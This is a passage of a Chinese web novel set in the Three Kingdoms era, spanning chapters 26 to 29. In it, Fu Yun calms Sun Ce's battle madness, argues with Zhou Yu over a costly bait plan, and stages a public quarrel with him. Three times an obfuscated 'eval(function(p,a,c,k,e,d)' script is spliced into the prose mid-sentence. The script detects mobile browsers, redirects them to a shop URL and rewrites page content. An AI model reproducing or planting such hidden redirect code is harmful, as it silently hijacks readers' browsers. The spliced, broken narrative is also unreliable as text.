语罢,不待周瑜伸手阻拦,她已掀帘而入。 周瑜疾步上前,却未拉住她。她已闪身入内,背影坚定如赴死。 他心头颤动,却已无能为力,只好压下惊惧,吩咐手下: “按军师所言,让厨房再熬一碗。” *** 大帐内,火舌将影子舔烧得很长。 伏韫方一入内,便被浓郁的血腥与扑面而来的杀意所吞没。那气息如地底溢出的滚火,灼意扑面。 孙策立于帐中,甲胄半脱,头发凌乱如兽鬃,上身几乎赤裸,青丝散乱间,能看到肌肤上的血痕与青紫。 他听到动静,转向伏韫,瞳仁猩红,天人交战之际,兽性已完全压倒人性,喉中压着一串濒临崩溃的低吼,如虎啸山林般,令人不寒而栗。 他手中执一把长刀,身侧案几已经被劈得七零八落,粉碎一地,火盆不知何时被他一脚踢翻,盆中灰尘倾覆,火星子也不过在地上燃起零星几点,便被他一脚踩碎,仿佛全然不觉痛意。 伏韫心口一紧。 也是这样一个瞬间,他站在一地狼藉之中。 那是他狂症的第一次发作,她以为他总会认得自己,便上前欲劝,谁知下一瞬,孙策猛地转身,潜意识几乎快过反应,猛地将她推开。她避闪不及,额头撞在案几铜角上,双目欲裂,几乎瞬间失明。他理智一瞬回笼,只是嘶吼“别过来!”长刀已将烛台劈得粉碎。 那是他第一次如此彻底地失控。 但她并未后退,只是强忍剧痛,在已经被他斩得破碎的营帐中起身,从他身后,将他死死抱住。 也是这一日后,她遍访名山,最终冒死潜入洞玄派禁阁,翻阅古籍,才查到辟戾香记载。 今生她虽有辟戾香在手,但他们相处之日未久,她并不敢笃定,孙策不会像前世一样伤害自己。 尤其他长刀在手,若是一刀劈下…… 她不敢想,但孙策如今的状态,已经不容她再犹豫。 她深吸一口气,迎着他的注视,轻唤道:“伯符。” 孙策低低喘息,浑身紧绷如弓上之弦,背肌抽动,每一寸线条,都在杀意的绷紧与压抑中起伏,不知何时会爆发。 他动了,步伐带着野性的躁动,沙哑着喉咙,嗓音低沉如兽鸣。 “开门!我要杀回去!” 伏韫不退反进,骤然伸臂,几乎用尽了全身的力气,双手猛然扣住他执刀的手腕,怒吼一声: “孙伯符!你看着我!” 孙策骤然一震,猩红的瞳孔落到她脸上,眼底浮现一瞬迷茫,又迅速被杀意取代。 她与他对峙,手按在他虎口,试图逼他脱力松手: “伯符,你赢了,你活下来了……” 另一只手,迅速从腰间解下锦囊,将辟戾香囊举到他鼻下,一壁在他耳边低语: “没事了,伯符,战争已经结束了……你回来了,你安全了。这里没有陷阱,没有敌人,你看看我,我是伏韫,你还记得我吗?” 孙策却呼吸更急,像被香气刺痛的神经。 她心头一沉,但来不及多想,在他即将挣脱她的手劲之前,忽然将他整个人拥入怀中。 她贴着他的耳廓,温柔如轻哄婴儿入睡: “你不是野兽,你是孙策,你是我的……伯符。” 那一刻,伏韫能感受到他肌肉下的每一缕战栗。她能感到他的双手正在慢慢举起,一股蓄积的力量正在胸口起伏间缓缓酝酿,或许下一刻,便会喷薄而出,将她如前世一般一把掀翻。 她闭上眼,仿佛接受这样的命运。 但,时间缓缓流逝。 她闭上眼许久,预想中那令她无法招架的蛮力并未道来。他只是举着手,但没有任何动作,没有推开。 她睁开眼,抬头看他。 她只看到他的肩头紧绷如铁,陷入僵硬, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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孙策似察觉到响声,微微侧脸,却并不抬眼,碎发将他所有眉眼都遮住,神色仍未从血火中抽离,周身唯余冷意。 “滚!” 空气瞬间凝固。 香囊姑娘身形一震,眼底浮着惊惧与委屈,身形仿佛被钉在帐外与帐内的一线之间,进退不得。 还是伏韫看出了她的窘态,在所有人都没反应过来之时,对帐外的吕范说: “子衡,把姑娘送回去,好生安抚。少主没有痊愈前,不要让她再靠近,以免伤着。” 香囊姑娘被几个侍卫带出,直到水寨码头。她憋闷如针扎的情绪,才终于决堤。心底酸涩与羞愤交织,一行发烫的眼泪就这么流下。 她回望中军大帐方向,仿佛在回望她掀开帐帘时望见的一切,心如针扎。 她原以为,那个帛条是善意的提醒,是天降的机会,却未曾想到,她的一意孤行,将她推入风暴之眼,甚至自取其辱,被现实狠狠掌掴—— 她与伏韫之间,隔着的不是身份,而是灵魂,她甚至连靠近的资格都没有! 她的胸口,第一次涌起如此猝不及防的尖锐。 ——凭什么,是她? 27. 第二十七章 风声略急。 周瑜听闻厨房熬好了汤,不待小厮动身便疾步而出。回营路上,他与香囊姑娘擦肩而过。 他回望一眼,火光映得她背影落寞寂寥,甚至还有一丝难以掩饰的羞愤,似乎在极力压抑什么情绪,几乎踉跄。 待到他手捧汤盏回营,只一眼,便注意到众人神情皆有些微妙地不自在。他掀开帘幕,未曾准备,那一幕便狠狠砸在心头。 伏韫将孙策小心翼翼搀扶至榻上。孙策赤裸着上身,面色苍白,目光低垂,仿佛魂魄刚刚归窍。伏韫抬手拂过他额角,将被汗濡湿的散乱鬓发轻轻拨开,神色温柔,竟是他从未见过的模样。 周瑜停在门口,未曾出声。 伏韫察觉动静,微微侧首。二人目光短暂交汇一瞬,空气仿佛凝滞,像针落水面,虽轻,但依然泛起一层极浅极快的涟漪。 伏韫移开目光,若无其事对吕范道:“少主旧伤未愈又添新伤,如今安定下来,可以清创了。” “我来。” 周瑜上前,看她的眼神平静无波,仿佛并未看到什么。伏韫略一迟疑,朝他微微颔首,便退出营帐。 帐外冷风扑面,一瞬将伏韫的意识吹得清醒,如风帆骤张。 心头的颤抖,此刻才开始不受控制,方才强行压下的所有思绪,瞬间炸开,叫她一瞬有些头晕。 周瑜的眼神平静,但她并不确定他看到了多少,又是否会有所误会。但她并不担心,都是为了孙策,周瑜绝不是那样的俗人,也不会将这件事放在心上。 但,千钧一发之际的后怕,此时才慢慢顺着后背爬上,直钻入她心口。她回忆起孙策悬于半空的手,如猛虎举爪却未拍下,分明是有什么悬系他的神识,让他认出了她。但……前世,从未有一次,他能控制住自己,入魔之际,六亲不认,几乎完全变成狂兽。 为什么,偏偏这一次可以? 她心中浮现一个从来不敢奢望,但却似乎是最接近真实的答案:这一世的孙策,看她极重,远甚前世,甚至超过了周瑜,才能在如此情急时刻,令他悬崖勒马。 但这个想法一出,便旋即被她否定。前世她寻得辟戾香后,只用过不出五次,且孙策并未走火入魔。她无法否认,或许这一次的特殊,仅仅只是她身怀利器,才让局势有所不同,而已。 春寒料峭,一阵凉风吹过,令她不自觉打了个寒颤。她回望一眼伏击发生的山谷,仿佛无形中与审判之眼遥遥对视。 心中尚存的愧意瞬间涌上,她不敢继续停留,只能裹紧衣服,快步回帐,将所有无关的情绪排空,只待明日,与周瑜在水寨密室的复盘。 *** 定神汤下肚,孙策的呼吸终于平缓下来。 他半倚榻上,阖目不语,如一头方自血泊中挣扎而出的猛虎,周身犹带未散的颤意。 周瑜拿起伏韫留下的药膏,单膝跪地,用干净的布巾,沉默地替他清理伤口。 他看着这些伤口,因为他和伏韫的“饲鬼”计划而留下的伤口,一股冰冷的、夹杂着罪恶感的洪流,冲垮了他的所有克制。 孙策因疼痛浑身一抖,睁开眼,却看到周瑜紧咬下唇,上药的手都无法自抑地轻颤,唇角扯出一丝倦笑: “你这是什么表情,怎么一副守丧的模样。” 周瑜不答,只是俯身自药箱中取器,一件件细细铺开。 孙策欲抬手拦他:“这些活,让旁人帮忙就行了。”却被周瑜按住。 “兄长莫动,让我看看。” 他小心绕过凝固血痂,只看目前添上的新伤,害怕稍一触动,便要将这伤口裂深半分。 孙策半倚,垂眼看他,瞧见周瑜的睫羽在昏灯下投出一层薄影,但细看之下,竟似笼着一层柔雾。 “公瑾?” 他轻唤。周瑜未应,只是继续敷撒药粉。 “瑜弟?” 他唤得更轻一些,直接俯首凑近,果然看到他微红的眼角,泪意摇摇欲坠。 孙策愣了片刻,一时不知所措,忽然有些结巴:“你,你哭什么?” 周瑜的手微微一顿,低下头,避开义兄的目光:“无事。” “无事你哭什么?”孙策直接给了周瑜肩头一拳,“胜败乃兵家常事,况且你也看到了,我今日亦杀敌不少,也算为东门兄弟们报了仇了,你说是不是!” 周瑜依然不言,俯身继续清创,泪水却一滴滴落在指尖,全不受控。 孙策见状,怔了一瞬,忽然大笑,笑到牵动伤口,疼得“嘶”了一声,却依旧逗他: “我们小孔夫子这是怎么了?可是怕我今日战死,就少了一位能与你共谋天下的人?” 话音甫落,周瑜的肩膀微颤,泪势反而更急。 孙策这才反应过来,眼底掠过一丝慌意,强忍牵痛,伸手捏住他的下颌,迫他抬眼: “瑜弟,你哭作甚!” 周瑜终于抬眸,泪意在眼底翻涌,呼吸微促,像是憋着一腔无处宣泄的话,良久,才低低吐出一声: “做弟弟的,只是……不忍见兄长受伤。” 此时此刻,他几乎要将饲鬼计划和盘托出,来减轻心头的负罪,但终究忍住了。可当他看到孙策身上这些因他而起的新伤,以及若是事情脱离预料,天有不测风云,他果真命丧山谷…… 一股更汹涌的后怕从心底烧出,令他胸口仿佛压了千钧,几乎无法再言。 昏黄灯火映得二人身影在墙上重叠。孙策端详周瑜神情片刻,读不出他的眸色。 他知道,这个弟弟素来心思深沉,不易看透,但饶是再迟钝,他也看懂了他此刻难以言说的恐惧,和几乎折断理智的崩溃。 他未再多言,只是几乎粗暴地,将周瑜揽入怀中,狠狠抱住,低声哄慰: “别怕,你兄长命硬,阎王还不敢收。” *** 入了春,天亮得比以往早了些。 伏韫一夜未眠,干脆起身,想借寒意逼自己清醒一些,信步未远,见到周瑜亦披衣而起,静伫远眺。 听到动静,他回眸看她。只对望一瞬,下一息,便听到他的声音。 “我们谈谈吧。” 码头,一片水泽死寂无声。轻舟顺着芦苇缓缓驶入深处,四下无人,唯有船桨切水的声响,在晨雾间轻轻回荡。 一路无话。 二人依旧穿过那道狭长的石廊,抵达那间隐于深处的密室。方合上门,周瑜的声音便在密室中响起。 “饲鬼,不能再继续了。” 他转身,直视伏韫,难得如此气势,几乎连珠炮一样,把闷了一晚上的所感尽数倾出: “昭晦,你也看到了,我亲手选出来的一百名精锐,昨日无一生还,就连兄长都身负重伤,险些被我们害死!” 他上前一步,那双向来温润的眸子,此刻因痛苦和愧疚而锐利,几乎逼视而来: “这不是纸上谈兵的推演,这是用活生生的人命!我昨晚彻夜难眠,一直在想,我们两个人究竟凭什么决定他们的生死?即使他们注定要战死沙场,决定他们何时何地、因何而死的人,也绝不该是我们!” 他声音因愈发激荡的心绪而微颤,几乎是在质问伏韫,也是拷问自己: “我们用他们的命当诱饵,用兄长的信任做赌注,只是为了换取一个所谓的‘最终的胜利’,但这些折损的精锐们已经看不到了!试问这样虚无缥缈的胜利,对他们而言意义何在?以人命为手段,这不是王道,也不是霸道,这是魔道!” 他话音的最后一字落下,密室狭小的房间中,似乎犹然回荡他振聋发聩的质问。 这一番话,如箭雨密布,将伏韫打得几乎毫无插话之隙。她只能静静听着,直到周瑜的呼吸逐渐沉稳下来,才缓缓抬起眼睛。 “公瑾,你的仁义,很高尚。”她轻声开口,话音轻柔得像将柔荑之手缓缓搭上他的肩头,“——但,现在是乱世,礼崩乐坏,你的礼义廉耻,是太平盛世中才有的奢侈。” 她亦靠近他,目光灼灼直视着他: “你告诉我,什么是战争?你以为不饲鬼,我们的手就是干净的吗?战争就是选择,就是在肮脏的选择和更肮脏的选择中,做出有利于最终胜利的抉择。” 她步步紧逼,气势甚至压过他,字字如针: “我在用一百人的假败,去换一万人的真活,而你的那套仁义道德,就是看着内鬼继续潜伏,让我们在下一次、下下次的战争中,付出甚至可能是十倍乃至百倍的代价!没有什么东西不需要代价,到底是干净地输掉,还是肮脏地获胜,公瑾,我们必须要有所取舍。” 周瑜听罢,剑眉微竖,并不认同她“姑息养奸”的指控,正欲出言反驳,却看到伏韫紧接着深深叹了口气,所有逼人的气势,全部化为一种深沉的疲惫。 她转过身去,声音缓和下来: “不过,你说得对,‘饲鬼’计划,需要调整。至少是佯败一事,必须暂停。” 周瑜止了话头,不再言语,只静静看着她。 伏韫微微阖眸,沉吟片刻: “再输一次,军心必散,届时将不战自溃。东门与哨站,我们已连败两场,对方虽亦受到重创,但若论求胜心切,我军远胜于敌军。” 她又垂首,捏住下颔,缓缓踱步,进入思考状态: “况且兄长此战勇猛无双,明知有诈,却偏向险而战。若我是同门,绝不会引诱我们出手。因为他若卖破绽,知我们多疑,反而容易被识破,但若是一击 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“是兄长亲自把香囊姑娘送回来了。今晨兄长血气未散,趁着没人,独自上山练枪去了。香囊姑娘不知从何处听说了兄长的行踪,便又拿着香囊前去找兄长。兄长见她可怜,便把她送了回来,还说昨日情急,言辞过重,让她莫要放在心上。” 屋内静默片刻。 伏韫垂眸,指尖无意识地在大腿处的衣裙上缓缓摩挲,无声地整理着线索。周瑜见状,以为她还如那日一般,因此事扰了心绪,正要换个话题,却忽然猛然意识到什么,抬眼与伏韫对视。 两人视线在空中一交,一瞬间,仿佛点燃了同一条思绪。 几乎是同时,他们抓起案边的竹牍,蘸墨提笔落下。 墨迹尚未干透,两片牍上,赫然写着同样的四个字。 ——“香囊姑娘”。 周瑜轻轻放下笔,唇角终于浮上了数日以来第一抹发自内心的笑意: “她是干净的,身份简单,不会引起任何怀疑。只要情报是经由她手落地,你的同门绝无可能多想。” 伏韫似笑非笑,眸光一闪: “而且,她不过是随爱慕之心接近兄长,发自本心……至于今日兄长的行踪,极有可能是内鬼泄密,如此趁手的刀,说不定内鬼早已以什么方式接近过她了。所以,我们不必再折损一兵一卒,而她一举一动皆称心如意,也并非代价,岂不更干净了?” 周瑜闻言挑眉一笑,看着她的眼神中藏着几分玩味: “哦?方才军师还斥我‘礼义乃奢侈’,如今反倒念及不损一兵一卒,与我谈起仁义来了?” 伏韫果然被他气笑,嗔怒瞪他一眼,嘴硬辩解道: “如今既有‘干净地赢’的法子,有什么缘由不选。你这家伙,倒惯会歪曲我的意思!” 她说罢,犹不解气,竟走近他,伸出食指,几乎要点上他的胸口: “此乃‘诛心’之计,你懂不懂?” 却未料到,周瑜神色一动,下一瞬,竟直接捉住了她那根作势点来的手指,顺势将她拉近。 二人的剪影被火光投在密室石壁上,恍如脖颈缠绕的鹤与鸮。 他握着她的手,眸色在昏暗的暗室中显得格外深邃: “军师所言极是。那就让她,作为我们投下的第一把干净的诱饵吧。” 他指尖的热度顺着掌心流窜而来,伏韫耳尖一烫,一把抽回手。 为了掩饰慌乱,佯装镇定地从怀中取出一只香囊递过去,若无其事道: “这个给你。你昔日落水,旧疾虽大抵痊愈,但夜里仍易受寒。我在你常用的香方上添了几味温补之物,或可助你缓一缓。” 他忽而轻笑,从袖中缓缓取出一枚小巧的玉蝉佩递至伏韫面前:“礼尚往来。” 伏韫接过,其上雕工极细,通体温润,幽光浅泛。她微微一惊:“这是庐江周氏的信物,为什么给我?” 他不语,只将那仍带着他体温的玉蝉置于她掌心。灯下红绳皓腕,衬得玉蝉愈发透亮。 “既然今后常在此议事,若有突发变故,时不及言,你便系此于帐前。我见之,便立刻来寻你。” 他顿了顿,嘴角微勾,笑意又带上几分狡黠:“当然,若只是想我了……此物,亦可为凭。” 28. 第二十八章 这几日,孙策的伤势在军医的细心调理下恢复得极快,精气神愈发好转,也会与侍从小厮们开些玩笑,一改前几日原本一语不发、只知练枪的沉闷,帐中难得透出几分松快的气息。 午膳时间,一碗方呈上的清蒸鲈鱼热气蒸腾,看得孙策眼睛发直,提筷雀跃,整个人几乎要趴在饭桌上。 “总算来了点荤腥。这几日不是药汤就是药汤,喝得我嘴里都快淡出鸟来了——” “停。”一旁的伏韫忽然出声,直接挑飞了他的筷势。 帐内气息顿止,连亲兵都屏了声息。 “兄长伤口未愈,鱼为发物,况且腥气太重,易生痰湿,对伤势无益。” 她语停,不给孙策任何争辩的机会,转头吩咐侍从:“撤下。” 孙策眼疾手快,一把端住碟沿,笑意僵在嘴角:“不是吧?我就吃一口,行不行?” “撤。”伏韫只重申一字,语气中不带半分转圜。 侍从战战兢兢端走了那盘鱼。看着肥白的鱼腹,孙策不耐烦地“啧”了一声,筷子在空碗里戳了几下,响起碗底空空的回音,令空气中顿生几分尴尬。 他带着几分试探看向伏韫,轻问道:“那有没有别的菜?不吃荤腥,吃点淡水豆腐羹之类的,总不至于有事吧?” 伏韫皮笑肉不笑地望向孙策:“没有。”转手便端过一碗寡淡的药汤,“趁热喝了吧,我亲手熬的。” 孙策长长叹了一口气,低头闷声咽了几口寡淡的药汤,忽然像听到了什么不得了的,忽然一愣,旋即低笑了两声。 狂症发作翌日,他悠然转醒时头痛欲裂,本想将周瑜叫来,问问昨日自己狂症之后的事,却发现他已经出门,不知去了哪里。细问了吕范,才知道自己昨日竟如野兽发狂,将帐内破坏得一干二净,横冲直撞,最后是伏韫费了九牛二虎之力,才让自己稳定下来。 追问之下,更是从吕范口中撬出了他支吾不敢言的内幕——自己竟上身赤裸,趴在伏韫肩上酣然入睡,听得他险些燥气上涌,赶紧上山舞了一套枪法,来抑制自己的狂气。但舞完又顿然生悔——若是自己装模作样,岂不是能让她再来哄自己一次? 可惜时不再来。 他半是懊悔、半是窃喜之间,连香囊姑娘的投怀送抱,也大手一挥,慷慨地将人送回水寨,还放下了主帅的架子,向一个小姑娘赔礼道歉,浑不在意她羞然而去的背影和四周的起哄声,几乎完全沉浸在虽已忘记、但仍回味无穷的肢体接触之中了。 听闻“亲手熬的”四字,他胸中又荡起方听此事时的蜜意,仿佛药汤也不苦了,甚至比鲈鱼更显鲜嫩几分。 “行,都听你的。军师亲手为我熬的汤,自然要一口闷了。” 他仰头将这药汤如作饮酒,豪气干云,一饮而尽,饮罢甚至意犹未尽地擦擦唇角,煞有介事地向伏韫逗趣一笑: “嗯,好汤好汤,竟比公瑾的宜城醪更显几分爽口。” 伏韫正低头咀嚼,听见此语,险些呛住。她斜睨了孙策一眼,见这人脸上笑得春意盎然,莫说是撤了鱼,就是真给他端一碗草,他都能吃得喷香可口。 她原意是想演一出戏,借着在众人面前拂了主帅面子一事激怒他,为自己失势、香囊姑娘获宠的铺垫,没成想发现他非但不曾动怒,反而十分受用,甘之如饴,目光里分明带着一种被在意的欢愉,甚至隐隐透出几分炽热。 她在心中缓缓吐了口气,然后伸出并不存在的第三只手,给自己来了一耳刮子。 智者千虑,必有一失,怎么把这么重要的事给忘了? 这种情势之下想要失势,未免太难。看来,得下点猛药了。 *** 入夜,孙策仍在帐中批阅军务,忽觉那股熟悉的烦躁又自胸中升起,几乎难抑。他干脆扔了竹简,在帐中踱步,但来去之间,郁火暗升,令他长吁一气。 伏韫坐在营帐一角,置若罔闻,手中翻阅不停,眉目在烛光下,显得难得柔和如水,娴静清雅,不似平日张扬,倒叫他心中忽然一痒,脱口而出: “昭晦,把‘辟戾香’拿来,我想闻闻。” 伏韫笔尖一顿:“怎么了?” 他语气像个索糖的小孩,不由分说,长臂一撑,直直把火光遮住,颇有几分不给就捣乱的意思: “我觉着闻了那香,这几日心静不少,连晚上睡觉都更香了。” 伏韫抬眸,冷冷回绝:“不行。” 孙策的眉毛瞬间皱成一团:“为什么!我就闻一下,真的,就一下。” 伏韫放下笔,声音平冷:“辟戾香是为了强压狂症最烈之时,若是无病常用,久闻不止,恐怕药效渐失,彼时便无药可抑,所以,不可。” 她的话无懈可击,可孙策的脸还是沉了下来。 这与鲈鱼不同。鲈鱼只是规矩,但辟戾香却是他们之间特殊而排外的连接,是他们的信物,拒绝此物,莫过于拂了他本人的心意。 他语声带了几分冷意:“昭晦,我又不是要吃鱼——” 话未完,帐外忽然通传:“少主,香囊姑娘来了。” 孙策心头一闷,冷声道:“今日不见了。” “让她进来吧。”伏韫开口。 孙策惊诧,回首望向伏韫,讶异她如何敢如此越俎代庖。但她神色如常,仿佛浑不在意。 香囊姑娘怯生生入帐,见孙策与伏韫俱在,便一一行礼,捧上一个新制的香囊,声如蚊蚋,交给孙策: “将军,军师……我知军师的香乃救命奇药,不敢僭越。这……是我家乡的方子,只些檀香之气,虽不及军师奇效,但……或可助将军安眠。” 孙策闻言,心里那团火稍微散了几分,伸手欲接:“你倒是有心——” “等一下。” 伏韫的声音自下而上,冷冷压下。 “军师?”香囊姑娘猛地抬头,神色一怔。 “军中此前遭了内鬼,防务严紧,”伏韫起身,来到她面前,劈手夺过香囊,“凡外来之物,入口入鼻者,皆须军医查验,免混药性相冲,抑或——暗□□物。” 香囊姑娘的脸唰地白了,慌忙辩解:“我、我没有!这些都是干净的!” “干不干净,不是你说了算。”伏韫沉声,抬步欲出,“扔了。” 香囊姑娘急得快哭出声,连日来的委屈与怨恨,都在此番她无端的怀疑下喷涌而出,她狠狠瞪着伏韫,红着眼眶,几乎咬牙切齿: “军师,我看你怀疑香囊是假,霸占将军才是真!” “放肆!”吕范呵斥一声,“军师岂是你可轻易置喙!” 香囊姑娘却视死如归般昂首,将胸臆不吐不快: “您的辟戾香将军可用,我的香,却要无故怀疑!而且您不让将军用辟戾香,用我的安神香便罢了,缘何这也不可!分明就是恃宠生娇罢了!” 孙策眉头微皱,本欲喝止,话到嘴边,却被那句“恃宠生娇”噎住了。 正僵持间,一声温润,破开紧张的空气。 “这是怎么了?” 周瑜一袭青袍,缓步而来,清如玉立,瞥见香囊姑娘,微微一怔,颔首询道: “姑娘这是怎么了?缘何落泪?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17213802|194539||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 香囊姑娘怔住,眼神骤然生出几分依靠,泪意涌得更盛:“公子,是军师,我只是想给将军献个香,却被军师当作毒物!” 这一语大声得几乎让帐外的人都能听见。帐外将士本就隐隐窥伺,此刻更簇簇围拢。 周瑜抬眼,缓缓看向伏韫。两人的视线在半空交汇,像两柄剑交错,火光微闪。 伏韫率先入戏:“周公子,你来得可真巧。” 周瑜神色平和:“只是恰好听见有人在哭。” 伏韫唇角似笑非笑:“惊马之事在前,不可不防。周公子,不会连这也有微词吧?” 周瑜针锋相对,仿佛为香囊姑娘申辩:“昭晦姑娘的意思是,她是内鬼?那她的上线是谁,你可有证据?” 伏韫眼神微敛:“我没有说她就是内鬼,周公子,不要曲解我的意思。” 周瑜低声轻笑:“怀疑有毒,交予军医查验便是,何必抬手就扔?我看你恃才傲物,不将旁人放在眼里是真。” 伏韫方欲回击,却见他神色微顿。仿佛一扇门,在她眼前缓缓阖上,轻轻隔开了温和与柔意。 “我早觉你议事时强势,”周瑜抬眼,眸光敛下半分,吐字极慢,却在帐内清晰得近乎凌厉,“没想到,平日里,你竟也如此霸道。” 一阵冷风,猝然透入四肢百骸。伏韫浑身一震,恍若有人自背后重重推她一把,本来笔直的脊背,在这一瞬微不可察地颤了颤,仿佛支撑不住那句突兀坠下的话。 她怔怔望向周瑜,唇瓣轻启,微微颤动,却终究未能吐出半个字。 并非因为他站在别人那边,而是因为这一句话,不在对定的剧本之内。 帐中低语翻涌,如暗潮拍岸。众人皆知二人辞色生分,议事时更如刀剑相向,时常相互驳斥,周瑜如此端方持重之君子,今日竟说出这般直白之语,倒叫所有人都直直愣住了。 火光、檀香、窃语……交织成一片,仿佛一层薄膜,死死覆在她耳畔与胸口。 泪意猝不及防地涌上来,酸涩得眼底微红,却被她生生逼了回去,她只是深深地望了周瑜一眼,似在确认,似在否认,又似在探求那句话后深不可测的缄默。 终究,她转过身去,在无数道目光中,她的背影径直没入人群,余烬一星,随之而熄。 帘幕唰地掀起又垂下,瞬间帐中万籁皆寂。 香囊姑娘垂眸抿唇,眼底悄然漾出一丝得意。她忍不住偷觑周瑜一眼,周瑜却只是怔立原地,仿佛雷霆骤然击下,整个人微不可察地一僵。 那句“平日里也如此霸道”,并无他意,甚至还是他想找个时机,专门夸赞伏韫妙计频出,颇有见地,不随波逐流之语。 但他临场发挥得有些忘乎所以,在如此气氛下,竟拐弯抹角,成了伤人利剑。连他自己在出口的瞬息都感到空气一窒,但勒马不及,这句话便直直被抛出。 帐中侍从屏息不语,围观的士兵皆感大事不妙,纷纷垂首散去,只余一室诡谲的寂静。 孙策缓缓转身,拍了拍周瑜的肩:“公瑾,这话说得太重了,还不快追去哄哄昭晦?” *** 伏韫飞奔在夜色中,一切喧嚣都被抛诸脑后,只余自己急促的呼吸。 “明明说好,是演戏,可他那句话……他平日,真的……是如此看我的?” 伏韫心如针扎,脚步一顿,险些崴得瘫坐地上。 她撑着一棵松树,指尖仍轻颤不已,深吸一口气,试图将心头汹涌的酸楚按下去。 可那股钝痛却愈发炽烈,随着每一次呼吸起伏,烧得更深。 29. 第二十九章 夜幕低垂,春寒料峭的江边,还带着几丝未散的水汽。几支孤零零的火把插在靶场边上,风穿梭火把之间,火光跳跃,影子在地上被拉长。 伏韫立在靶场中央,鬓角微乱,乌发因狂奔而散开一次,只草草挽了个髻,但思绪却未能理清。 她只能机械地,一次又一次举弓、拉弦、放箭。 “嗖——” 箭矢破空,却斜斜射出靶心。 她并不在意,这结果本就在意料之中,因为她甚至并不看靶,只是一箭接一箭,拉弦的手愈发用力,肩膀微颤。 她射的不是靶,是帐中的物议,是周瑜那句“平日里也如此霸道”,还有自己那颗不争气的心。 她本想回去调素琴,但她的那把琴终究是周瑜之物。若要落子对弈,又只有周瑜一人可为对手。 这偌大营寨,想要放空思绪,竟只有他一人可寻。 她不甘心。 于是气鼓鼓划了小船,一路跑到水寨来寻个清净,想着此地僻静,又远离家眷居所,也从未与他来过,想来他定是不会寻来的。 但他若果真不来,心头,却仿佛又有一阵不知来由的失落。 她长弓在手,不知射了多久,原以为身子累些,神思便可不再运转,脑袋也能轻松些,但看满地箭羽,皆未中靶,捡起来又能接着再用,不禁更急火攻心,怒气更甚。 远处传来极轻的水声,未几,脚步声由远及近,踩着木头栈道而来。 她不必回头,就知道是谁。 在这鱼龙混杂的军营里,武将的脚步总是沉重。只有周瑜的脚步声,永远收着力道,鞋跟微微叩地,永远走得从容不迫。 她却倏然闭上眼,指尖攥紧,像与自己较劲,心中反复回响一个声音:你别来,就算来了,我也绝不理你。 夜色垂落,衬得周瑜一身月白衣衫比白日更加温润,但此时他不复沉着自若,眼底隐着一抹极罕见的局促,手中捧着一只食盒,有备而来: “昭晦,你还没吃饭,我让厨房切了你爱吃的鱼脍,先吃点吧。”他将食盒小心搁在一旁,一壁忍不住觑她神色。 伏韫听到“鱼脍”二字,耳尖微微竖起,下一瞬又恢复如常,置若罔闻。箭仍在弦上,她瞄准了箭靶,意欲松手,却又担心射不中,平白被他看了笑话,只能不上不下僵在那里,仿佛再多半寸,弓弦就要被她扯断。 周瑜见她如被定住,只扯着弓弦,手指都被绷得泛白,又走近两步,嗓音更轻:“昭晦?” 回应他的,却是突如其来的一阵剧痛。 伏韫见他靠近,失手似地一扬弓尾,重重砸在他手臂上。见他吃痛闷哼一声,才冷哼着咬出一句言不由衷的道歉: “不好意思,砸到你了。” 周瑜眉心轻蹙,却并未后退,反而顺势执住她的弓,语气温柔到近乎妥协,带着几分无奈与讨好: “昭晦,方才……是我演过了。” 伏韫缓缓抬眸,缄默不语,目光却冷得像刀,直直剜了他一眼。 他并非初次见她气急败坏,但如此沉默的爆发,令他心中更沉了几分,生怕她就这样脱手离开,赶忙急急补上一句,用她平日惯用的逻辑细细解释: “可是你看,这出戏效果极好,把所有人都骗到了,尤其是兄长。你一走,他立刻驱我来赔罪。你看,这不正是我们想要的局面吗?” 伏韫闻言,不怒反笑,唇角微弯: “哦……原来是兄长让你来道歉的。——既如此,你是不是还觉得自己妙语连珠,颇为得意?” 话音未落,她放开被他拉扯半空的弓箭,转身便走。 周瑜怔在原地半息,将自己刚刚说的话反刍似地又咀嚼一遍,脸色微微一变,眉心拧紧,几乎要抬手给自己一掌: “……我这张臭嘴。” 下一瞬,他大步流星追了上去,从身后执住她衣袖,语气罕见地急促,不复一贯镇定: “此言差矣!即便兄长不说,我也必定会来给你赔罪的。昭晦,你先吃些东西吧,鱼脍放久就腥了——” “是啊,我强势,我刚愎自用,不及香囊姑娘那般温顺体贴。” 她被他拽住,险些一个踉跄,不等他说完,便生生打断他的话。火光映着她眼底的湿意,恍如盈着一层薄雾,泪光晶莹: “你若也想要那样的美娇娘,自己去寻便是,少来烦我!” 语罢,她猛地挣脱他的手劲,连瞧也不瞧他,只背过身去,脚步快得几乎要跑起来。 寂静。 周瑜下意识追上去,三两步便越至她跟前,拦住她的去路。 他低头看去,火把映出伏韫半明半暗的容颜,眼尾隐约泛红,睫影微颤,哪有往昔运筹帷幄、叱咤风云的半点模样,分明只有委屈至极的表情,却倔强不肯直视他,只撇过视线,不让他看出半分脆弱。 他看着她,仿佛有人在心口投入一石,层层涟漪,缓缓漾开,如羽落心,挠得他心尖轻痒一颤。 他喉结微动,忽而低低笑了。 他这一笑,如释重负,还带着一抹极深的宠溺,落入伏韫耳中却不啻挑衅,令她羞恼交织,愈发愤怒,狠狠瞪了他一眼: “你笑什么!” 周瑜赶紧止声,但眉梢仍微微上挑,仿佛强抑笑意,缓声道:“没什么。” 